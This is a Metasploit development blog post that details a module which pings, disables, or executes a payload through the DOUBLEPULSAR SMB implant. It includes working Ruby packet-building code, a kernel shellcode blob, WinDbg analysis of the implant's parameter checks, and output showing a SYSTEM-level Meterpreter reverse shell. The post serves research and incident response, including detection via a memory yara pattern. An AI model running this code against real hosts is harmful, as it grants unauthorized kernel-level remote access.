Last updated at Tue, 03 Sep 2024 20:19:50 GMT

Metasploit’s Development Diaries series sheds light on how Rapid7’s offensive research team analyzes vulnerabilities as candidates for inclusion in Metasploit Framework—in other words, how a vulnerability makes it through rigorous open-source committee to become a full-fledged Metasploit module.You can find previous Metasploit development diaries here and here. This quarter, we're going in a slightly different direction and detailing a path to remote code execution not in public-use hardware or software, but in a backdoor widely attributed to the NSA.

Metasploit's research team recently added a module to Framework that executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB. The DOUBLEPULSAR RCE module allows users to remotely disable the implant, which puts it in the rare (though not unique) category of Metasploit modules that have specific incident response utility in addition to offensive value.

Introduction

With RDP vulnerabilities being all the rage these days, I decided to revisit an unfinished idea I had when SMB vulnerabilities were still in vogue.

If infosec can rewind its memory two years ago, the Shadow Brokers leaked the so-called Equation Group's toolkit for Windows exploitation. Perhaps the most damaging code in that release was ETERNALBLUE, an SMB remote root exploit against a vast range of Windows versions. The code would quickly make its way into the WannaCry worm, which locked hundreds of thousands of systems in its cryptographic shackles.

On the same day as ETERNALBLUE, the world was introduced to DOUBLEPULSAR, a kernel-mode implant typically deployed by the exploit. DOUBLEPULSAR (hereafter referred to as DOPU or "the implant") had the ability to infect both SMB and RDP, but with the critical nature of ETERNALBLUE, SMB was the focus for most researchers. While most efforts were directed at detecting the implant via its "ping" functionality, the implant also had the capability to execute arbitrary kernel shellcode or to be disabled remotely. Perhaps most damning (or desirable) was the fact that the implant lacked authentication, offering an attribution-less backdoor into Windows systems around the world.

zerosum0x0 was one of the first researchers to analyze DOUBLEPULSAR. It was his work that I used to begin understanding the implant and its functionality. It is highly recommended reading. The rest of this post will concern the analysis we performed to exercise the implant's arbitrary code execution.

Why did we do this?

When ETERNALBLUE and DOUBLEPULSAR came to light, there were many who used the Fuzzbunch exploitation framework (part of the Shadow Brokers dump) to execute ETERNALBLUE against a target, infecting the target with DOPU, and then utilizing DOPU's DLL injection functionality (bootstrapped from its "exec" functionality) to inject a DLL payload into a userland process, bringing trivial ring3 code execution to a ring0 implant.

While this was fun and all, it posed a dangerous question: why would one purposefully infect a target with alleged NSA weapons-grade malware, just to gain code execution? Sure, it was the most accessible way to root unpatched Windows systems, but many users didn't think deeply on the ramifications. Fortunately, the research community directed its efforts at implementing the ETERNALBLUE exploit in open source, eschewing the closed-source, nation-state toolkit we knew so little about.

So, what if a target is already infected with DOUBLEPULSAR? The overarching opinion (rightfully so) is that your assessment has become an incident response situation. In that case, it may be helpful for defenders to be able to disable the implant without rebooting systems. Alternatively, it may be useful for pentesters (with proper approval) to leverage code execution against the implant using fully vetted, open-source tools, without the need to cast an exploit. There is already precedent for executing code against malware, some examples of which live in Metasploit. In any case, a forensic examination of infected systems is necessary, and disabling the implant doesn't obsolete patching.

Consequently, with our minds unburdened, and a healthy two years later, we sought to open-source code execution and neutralization of DOUBLEPULSAR in Metasploit. Let's walk through the development process.

The art of Ctrl-C, Ctrl-V

Everyone has done it at some point. Especially on Metasploit modules. And if you don't, you probably copy and paste your own code! (That's what I do most of the time. ;)

As zerosum0x0's MS17-010 and DOUBLEPULSAR scanner provided the perfect framework to hit the ground running, I shamelessly copied the file to a new module, which I named exploit/windows/smb/doublepulsar_rce. Having worked on the scanner, I was confident it would be a good starting point.

Give me a ping, Vasily. One ping only, please.

The scanner already implemented DOUBLEPULSAR's ping command to detect the implant. Moving the code to a check method, I gave it a go:

msf5 exploit(windows/smb/doublepulsar_rce) > check

[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[+] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64
[+] 192.168.56.115:445 - The target is vulnerable.
msf5 exploit(windows/smb/doublepulsar_rce) >

Cool, the module detected the implant correctly. More importantly, note that the implant returns its XOR key, which we'll use later to "encrypt" our shellcode for code execution.

Next up, implementing the kill command seemed like another easy win.

Ping, pong, the implant's dead

To improve code reuse, I defined a couple hashes for the implant's opcodes and status codes:

OPCODES = {
  ping: 0x23,
  exec: 0xc8,
  kill: 0x77
}

STATUS_CODES = {
  not_detected:   0x00,
  success:        0x10,
  invalid_params: 0x20,
  alloc_failure:  0x30
}

We also have a few utility methods, some from the scanner, to calculate implant status, XOR key, and architecture. These values are hidden in plain sight within real SMB packet values.

def calculate_doublepulsar_status(m1, m2)
  STATUS_CODES.key(m2.to_i - m1.to_i)
end

# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
  x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
  x & 0xffffffff  # this line was added just to truncate to 32 bits
end

# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
  s == 0 ? ARCH_X86 : ARCH_X64
end

Since the kill command is just the ping command with a different opcode (0x77 vs. 0x23), implementing the kill command was a breeze. I added a method to generate the expected SMB timeout value for a given opcode, based on zerosum0x0's analysis:

def generate_doublepulsar_timeout(op)
  k = SecureRandom.random_bytes(4).unpack('V').first
  0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
end

Then I shamelessly copied the trans2 method from lib/rex/proto/smb/client.rb. I ended up with the following code for an SMB TRANS2_SESSION_SETUP packet:

def make_smb_trans2_doublepulsar(opcode, body)
  setup_count = 1
  setup_data = [0x000e].pack('v')

  param = generate_doublepulsar_param(opcode, body)
  data = param + body.to_s

  pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
  simple.client.smb_defaults(pkt['Payload']['SMB'])

  base_offset = pkt.to_s.length + (setup_count * 2) - 4
  param_offset = base_offset
  data_offset = param_offset + param.length

  pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
  pkt['Payload']['SMB'].v['Flags1'] = 0x18
  pkt['Payload']['SMB'].v['Flags2'] = 0xc007

  @multiplex_id = rand(0xffff)

  pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
  pkt['Payload']['SMB'].v['TreeID'] = @tree_id
  pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id

  pkt['Payload'].v['ParamCountTotal'] = param.length
  pkt['Payload'].v['DataCountTotal'] = body.to_s.length
  pkt['Payload'].v['ParamCountMax'] = 1
  pkt['Payload'].v['DataCountMax'] = 0
  pkt['Payload'].v['ParamCount'] = param.length
  pkt['Payload'].v['ParamOffset'] = param_offset
  pkt['Payload'].v['DataCount'] = body.to_s.length
  pkt['Payload'].v['DataOffset'] = data_offset
  pkt['Payload'].v['SetupCount'] = setup_count
  pkt['Payload'].v['SetupData'] = setup_data
  pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
  pkt['Payload'].v['Payload'] = data

  pkt.to_s
end

Hopeful that my code would work on the first try, I tested the new implant neutralization code:

msf5 exploit(windows/smb/doublepulsar_rce) > set target Neutralize\ implant
target => Neutralize implant
msf5 exploit(windows/smb/doublepulsar_rce) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[+] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64
[*] 192.168.56.115:445 - Neutralizing DOUBLEPULSAR
[+] 192.168.56.115:445 - Implant neutralization successful
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/doublepulsar_rce) >

Success! If you were to run check again, the implant should not be detected:

msf5 exploit(windows/smb/doublepulsar_rce) > check

[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[-] 192.168.56.115:445 - DOUBLEPULSAR not detected or disabled
[*] 192.168.56.115:445 - The target is not exploitable.
msf5 exploit(windows/smb/doublepulsar_rce) >

With two of the three implant commands implemented, it was time to focus on the third and final: the Holy Grail of code execution.

What is your quest? To seek the Holy Grail!

Because DOUBLEPULSAR expects to execute kernel shellcode, we couldn't use any Metasploit payloads without a kernel-mode stub first, and we surely didn't want to use the Equation Group's DLL injection shellcode, though sufficiently analyzed by Countercept (now F-Secure).

Thankfully, zerosum0x0 wrote custom shellcode for ETERNALBLUE that could be repurposed for DOUBLEPULSAR, albeit with a small modification. Since the syscall overwrite in the copied shellcode was unnecessary for this use case, we undefined it:

diff --git a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
index bff0b1fd73..1d867a9ebf 100644
--- a/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
+++ b/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
@@ -41,7 +41,7 @@ global payload_start
 %define USE_X64                       ; x64 payload
 ;%define STATIC_ETHREAD_DELTA          ; use a pre-calculated ThreadListEntry
 %define ERROR_CHECKS                  ; lessen chance of BSOD, but bigger size
-%define SYSCALL_OVERWRITE             ; to run at process IRQL in syscall
+%undef SYSCALL_OVERWRITE             ; to run at process IRQL in syscall
 ; %define CLEAR_DIRECTION_FLAG         ; if cld should be run

 ; hashes for export directory lookups

I reassembled the modified shellcode with nasm -w-other -o >(xxd -p -c 16 | sed 's/../\\x&/g') external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm and updated the module:

def make_kernel_shellcode(proc_name)
  # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
  # Length: 780 bytes
  "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
  "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
  "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
  "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
  "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
  "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
  "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
  "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
  "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
  "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
  "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
  "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
  "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
  generate_process_hash(proc_name.upcase) +
  "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
  "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
  "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
  "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
  "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
  "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
  "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
  "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
  "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
  "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
  "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
  "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
  "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
  "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
  "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
  "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
  "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
  "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
  "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
  "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
  "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
  "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
  "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
  "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
  "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
  "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
  "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
  "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
  "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
  "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
  "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
  "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
  "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
  "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
  "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
  "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end

Metasploit has an extensive library of code for exploitation, but it curiously didn't have any such code for XOR with a variable-length key, so I went ahead and added it to the Rex::Text.xor method. This would be a requirement for DOUBLEPULSAR's XOR stream cipher, which would be used to encrypt the shellcode.

print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")

print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)

Because DOUBLEPULSAR expects shellcode to be chunked in 4096-byte blocks, and our total shellcode size falls well within that chunk size, we pad the difference after the user-mode payload with random bytes and send only one 4096-byte chunk. This ensures consistent shellcode size and alignment, and it provides a modicum of obfuscation. Since the kernel shellcode calls the CreateThread function, and the EXITFUNC option in Metasploit is set to thread, there are no issues with the random padding. Yeah, it's a hack.

The last piece of the puzzle

When I crafted the SMB TRANS2_SESSION_SETUP packet, I zeroed out its parameters, since they weren't necessary for the ping and kill commands. However, the exec command required specific parameters to be sent. I didn't know what to fill them with yet, but it was clear the XOR key was involved.

With zeroed-out parameters, code execution was blocked by checks in the implant. Since I had been working on the module for most of an evening, having failed to determine the correct parameters (short of breaking out WinDbg), I shelved the module to work on another task. Some time later, I reached out to Jacob to see if he was interested in figuring out the missing piece.

The following analysis is adapted from notes by former Metasploit researcher Jacob Robles.

We begin our analysis of the implant's checks by viewing its handler in WinDbg. Using the command from the deadlisting, we get the address of the implant's code in memory on the target system:

kd> dps srv!SrvTransaction2DispatchTable
fffff880`03a2c760  fffff880`03a96110 srv!SrvSmbOpen2
fffff880`03a2c768  fffff880`03a5d3e0 srv!SrvSmbFindFirst2
fffff880`03a2c770  fffff880`03a938d0 srv!SrvSmbFindNext2
fffff880`03a2c778  fffff880`03a5f570 srv!SrvSmbQueryFsInformation
fffff880`03a2c780  fffff880`03a886e0 srv!SrvSmbSetFsInformation
fffff880`03a2c788  fffff880`03a5cf30 srv!SrvSmbQueryPathInformation
fffff880`03a2c790  fffff880`03a96640 srv!SrvSmbSetPathInformation
fffff880`03a2c798  fffff880`03a5ae40 srv!SrvSmbQueryFileInformation
fffff880`03a2c7a0  fffff880`03a5ee90 srv!SrvSmbSetFileInformation
fffff880`03a2c7a8  fffff880`03a7c8d0 srv!SrvSmbFindNotify
fffff880`03a2c7b0  fffff880`03a96470 srv!SrvSmbIoctl2
fffff880`03a2c7b8  fffff880`03a7c8d0 srv!SrvSmbFindNotify
fffff880`03a2c7c0  fffff880`03a7c8d0 srv!SrvSmbFindNotify
fffff880`03a2c7c8  fffff880`03a88e80 srv!SrvSmbCreateDirectory2
fffff880`03a2c7d0  fffffa80`0226e060
fffff880`03a2c7d8  fffff880`03a7c6d0 srv!SrvTransactionNotImplemented

The address to the implant's handler is at offset 0x70 from the start of the dispatch table. We then retrieve the handler's disassembly by running u poi(srv!SrvTransaction2DispatchTable+0x70) L100:

kd> u poi(srv!SrvTransaction2DispatchTable+0x70) L100
fffffa80`0226e060 57              push    rdi
fffffa80`0226e061 56              push    rsi
fffffa80`0226e062 53              push    rbx
fffffa80`0226e063 55              push    rbp
fffffa80`0226e064 4154            push    r12
fffffa80`0226e066 4155            push    r13
fffffa80`0226e068 4156            push    r14
fffffa80`0226e06a 4157            push    r15
fffffa80`0226e06c 4989e4          mov     r12,rsp
fffffa80`0226e06f 4881ec08010000  sub     rsp,108h
fffffa80`0226e076 4989cf          mov     r15,rcx
fffffa80`0226e079 488d2de0ffffff  lea     rbp,[fffffa80`0226e060]
fffffa80`0226e080 6681e500f0      and     bp,0F000h
fffffa80`0226e085 48894d58        mov     qword ptr [rbp+58h],rcx
[snip]

The module at the time showed 0xc8 as the code for shellcode execution through the implant, which is also listed in the deadlisting. However, shellcode execution was failing with a status that indicated invalid parameters, 0x20. The branch for the 0xc8 code shows the checks that need to be passed for shellcode execution.

The first check is shown in the following disassembly:

fffffa80`0226e0fd 4831db          xor     rbx,rbx
fffffa80`0226e100 4831f6          xor     rsi,rsi
fffffa80`0226e103 4831ff          xor     rdi,rdi
fffffa80`0226e106 498b45d8        mov     rax,qword ptr [r13-28h]   ; SESSION_SETUP Parameters pointer
fffffa80`0226e10a 8b18            mov     ebx,dword ptr [rax]
fffffa80`0226e10c 8b7004          mov     esi,dword ptr [rax+4]
fffffa80`0226e10f 8b7808          mov     edi,dword ptr [rax+8]
fffffa80`0226e112 8b4d48          mov     ecx,dword ptr [rbp+48h]   ; XOR key
fffffa80`0226e115 31cb            xor     ebx,ecx                   ; Total shellcode size
fffffa80`0226e117 31ce            xor     esi,ecx                   ; Size of shellcode data in this request
fffffa80`0226e119 31cf            xor     edi,ecx                   ; Offset within shellcode buffer to start copying data to
fffffa80`0226e11b 413b7510        cmp     esi,dword ptr [r13+10h]
fffffa80`0226e11f 757b            jne     fffffa80`0226e19c         ; Invalid parameters

After a few registers are cleared, ebx, esi, and edi are set to values taken from the SMB Trans2 request, specifically offsets within the SESSION_SETUP parameters pointed to by rax. The registers are then XORed with the ecx register, which contains the XOR key. Then the comparison determines whether the XORed value from the SESSION_SETUP parameters (offset + 4) matches the Total Data Count field, [r13+10h], of the Trans2 request. This means the second 4-byte block of SESSION_SETUP parameters should be key ^ total data count to pass the first parameter check.

After the first check, another comparison occurs, but this time the comparison is with the first 4-byte block of the SESSION_SETUP parameters:

fffffa80`0226e121 3b5d54          cmp     ebx,dword ptr [rbp+54h]   ; Stored shellcode size
fffffa80`0226e124 488b454c        mov     rax,qword ptr [rbp+4Ch]   ; Stored shellcode buffer pointer
fffffa80`0226e128 7416            je      fffffa80`0226e140
fffffa80`0226e12a e8d1000000      call    fffffa80`0226e200
fffffa80`0226e12f 488d5304        lea     rdx,[rbx+4]
fffffa80`0226e133 4831c9          xor     rcx,rcx
fffffa80`0226e136 ff5510          call    qword ptr [rbp+10h]       ; nt!ExAllocatePool
fffffa80`0226e139 4889454c        mov     qword ptr [rbp+4Ch],rax   ; Store shellcode pointer
fffffa80`0226e13d 895d54          mov     dword ptr [rbp+54h],ebx   ; Store shellcode size

This comparison checks if a stored global value, [rbp+54h], equals the XORed first 4-byte SESSION_SETUP parameters block. The data stored at [rbp+54h] is zero or the number of bytes that have previously been allocated for the shellcode. If previously allocated bytes match with the 4-byte block, then the rest of that code segment is jumped over. Otherwise, nt!ExAllocatePool is called to allocate a buffer for the shellcode. The shellcode pointer is stored at [rbp+4Ch], and the number of bytes allocated is stored at [rbp+54h].

Since an allocation may occur in the previous block of code, the following block checks for a NULL shellcode pointer:

fffffa80`0226e140 4885c0          test    rax,rax
fffffa80`0226e143 745b            je      fffffa80`0226e1a0  ; ALLOC failed
fffffa80`0226e145 4801f7          add     rdi,rsi            ; Offset within buffer + Size of shellcode data in request
fffffa80`0226e148 4839df          cmp     rdi,rbx
fffffa80`0226e14b 774f            ja      fffffa80`0226e19c  ; Invalid parameters

If the shellcode pointer is NULL, then the code jumps to a location that will return an "allocation failed" status code, 0x30. If the allocation succeeded, then another check is performed to validate the size of the data that will be copied into the shellcode buffer. The next check fails if the size of the offset within the buffer to start copying to, plus the total shellcode data within the Trans2 request, is larger than the allocated shellcode buffer size. This check ensures that data won't be copied past the allocated buffer region.

After the checks are passed, the shellcode data from the Trans2 request is copied into memory and decoded:

fffffa80`0226e14d 4829f7          sub     rdi,rsi
fffffa80`0226e150 4801c7          add     rdi,rax                          ; Offset into allocated shellcode buffer
fffffa80`0226e153 57              push    rdi
fffffa80`0226e154 4889f1          mov     rcx,rsi
fffffa80`0226e157 51              push    rcx
fffffa80`0226e158 498b75e8        mov     rsi,qword ptr [r13-18h]          ; Trans2 Request SESSION_SETUP Data
fffffa80`0226e15c f3a4            rep movs byte ptr [rdi],byte ptr [rsi]   ; Copy SESSION_SETUP Data to shellcode buffer
fffffa80`0226e15e 59              pop     rcx
fffffa80`0226e15f 48c1e902        shr     rcx,2
fffffa80`0226e163 5e              pop     rsi
fffffa80`0226e164 8b5548          mov     edx,dword ptr [rbp+48h]          ; XOR key
fffffa80`0226e167 3116            xor     dword ptr [rsi],edx              ; Decode shellcode
fffffa80`0226e169 4883c604        add     rsi,4
fffffa80`0226e16d e2f8            loop    fffffa80`0226e167                ; Decode 4-byte blocks at a time
fffffa80`0226e16f 4801d8          add     rax,rbx
fffffa80`0226e172 4839c6          cmp     rsi,rax
fffffa80`0226e175 7c21            jl      fffffa80`0226e198                ; Success, expect more data
fffffa80`0226e177 ff554c          call    qword ptr [rbp+4Ch]              ; Call shellcode
fffffa80`0226e17a e881000000      call    fffffa80`0226e200

The destination for the copied data is an offset into the shellcode buffer, which is specified by the SESSION_SETUP parameters. Then the copied data is decoded using the XOR key, which means the shellcode data in the Trans2 request must be encoded before it is sent to the target. After the loop is finished, the last decoded address is compared with the expected ending address of the shellcode buffer (start of shellcode buffer + total size of shellcode). If the addresses do not match, then a "success" status is returned, but more data is expected in future requests before the shellcode in memory will be executed. If the addresses match, then the shellcode is executed, and the buffer is deallocated.

The XOR key is updated after the shellcode executes, and a success code is returned to the client:

fffffa80`0226e17f 8b4544          mov     eax,dword ptr [rbp+44h]
fffffa80`0226e182 d1e8            shr     eax,1
fffffa80`0226e184 4831c9          xor     rcx,rcx
fffffa80`0226e187 88c1            mov     cl,al
fffffa80`0226e189 4801e9          add     rcx,rbp
fffffa80`0226e18c 8b09            mov     ecx,dword ptr [rcx]
fffffa80`0226e18e 31c8            xor     eax,ecx
fffffa80`0226e190 894544          mov     dword ptr [rbp+44h],eax    ; Update XOR key
fffffa80`0226e193 e843000000      call    fffffa80`0226e1db
fffffa80`0226e198 b010            mov     al,10h                     ; SUCCESS code
fffffa80`0226e19a eb08            jmp     fffffa80`0226e1a4

Shellcode execution is now complete.

Finishing the module

With Jacob's analysis of the implant's checks and our tag-teamed kernel debugging, we could complete the module:

def generate_doublepulsar_param(op, body)
  case OPCODES.key(op)
  when :ping, :kill
    "\x00" * 12
  when :exec
    Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
  end
end

Crossing our fingers, we tested code execution with a Meterpreter payload:

msf5 exploit(windows/smb/doublepulsar_rce) > set target Execute\ payload
target => Execute payload
msf5 exploit(windows/smb/doublepulsar_rce) > run

[*] Started reverse TCP handler on 192.168.56.1:4444
[+] 192.168.56.115:445 - Connected to \\192.168.56.115\IPC$ with TID = 2048
[*] 192.168.56.115:445 - Target OS is Windows Server 2008 R2 Standard 7601 Service Pack 1
[*] 192.168.56.115:445 - Sending ping to DOUBLEPULSAR
[+] 192.168.56.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x33C6DC64
[*] 192.168.56.115:445 - Generating kernel shellcode with windows/x64/meterpreter/reverse_tcp
[*] 192.168.56.115:445 - Total shellcode length: 4096 bytes
[*] 192.168.56.115:445 - Encrypting shellcode with XOR key 0x33C6DC64
[*] 192.168.56.115:445 - Sending shellcode to DOUBLEPULSAR
[+] 192.168.56.115:445 - Payload execution successful
[*] Sending stage (206403 bytes) to 192.168.56.115
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.115:49158) at 2019-09-25 18:26:47 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-S7TDBIENPVM
OS              : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >

"I'm in."

Caveats

While DOUBLEPULSAR is a sophisticated kernel-mode implant, its network signature is well-researched, and detection of the implant is highly accurate. On the system front, you cannot escape from memory forensics if kernel memory can be analyzed. Furthermore, any code or commands you execute through the implant are fair game for detection in userspace.

As a naive example, using Volatility's yarascan plugin with the byte string from Jacob's first disassembled implant check, we can see the DOUBLEPULSAR code in kernel memory:

wvu@kharak:~/Downloads$ VBoxManage debugvm "Windows Server 2008 R2" dumpvmcore --filename doublepulsar.core
wvu@kharak:~/Downloads$ vol.py -f doublepulsar.core --profile Win2008R2SP1x64 yarascan -KY "{ 48 31 db 48 31 f6 48 31 ff 49 8b 45 d8 8b 18 8b 70 04 8b 78 08 8b 4d 48 31 cb 31 ce 31 cf 41 3b 75 10 75 7b }"
Volatility Foundation Volatility Framework 2.6.1
[snip]
Rule: r1
Owner: (Unknown Kernel Memory)
0xffffffd00e5a  48 31 db 48 31 f6 48 31 ff 49 8b 45 d8 8b 18 8b   H1.H1.H1.I.E....
0xffffffd00e6a  70 04 8b 78 08 8b 4d 48 31 cb 31 ce 31 cf 41 3b   p..x..MH1.1.1.A;
0xffffffd00e7a  75 10 75 7b 3b 5d 54 48 8b 45 4c 74 16 e8 d1 00   u.u{;]TH.ELt....
0xffffffd00e8a  00 00 48 8d 53 04 48 31 c9 ff 55 10 48 89 45 4c   ..H.S.H1..U.H.EL
0xffffffd00e9a  89 5d 54 48 85 c0 74 5b 48 01 f7 48 39 df 77 4f   .]TH..t[H..H9.wO
0xffffffd00eaa  48 29 f7 48 01 c7 57 48 89 f1 51 49 8b 75 e8 f3   H).H..WH..QI.u..
0xffffffd00eba  a4 59 48 c1 e9 02 5e 8b 55 48 31 16 48 83 c6 04   .YH...^.UH1.H...
0xffffffd00eca  e2 f8 48 01 d8 48 39 c6 7c 21 ff 55 4c e8 81 00   ..H..H9.|!.UL...
0xffffffd00eda  00 00 8b 45 44 d1 e8 48 31 c9 88 c1 48 01 e9 8b   ...ED..H1...H...
0xffffffd00eea  09 31 c8 89 45 44 e8 43 00 00 00 b0 10 eb 08 b0   .1..ED.C........
0xffffffd00efa  20 eb 04 b0 30 eb 00 48 8b 4d 28 b4 00 66 01 41   ....0..H.M(..f.A
0xffffffd00f0a  1e 48 8b 45 20 4c 89 f9 4c 89 e4 41 5f 41 5e 41   .H.E.L..L..A_A^A
0xffffffd00f1a  5d 41 5c 5d 5b 5e 5f ff 60 78 31 c0 88 c8 c1 e9   ]A\][^_.`x1.....
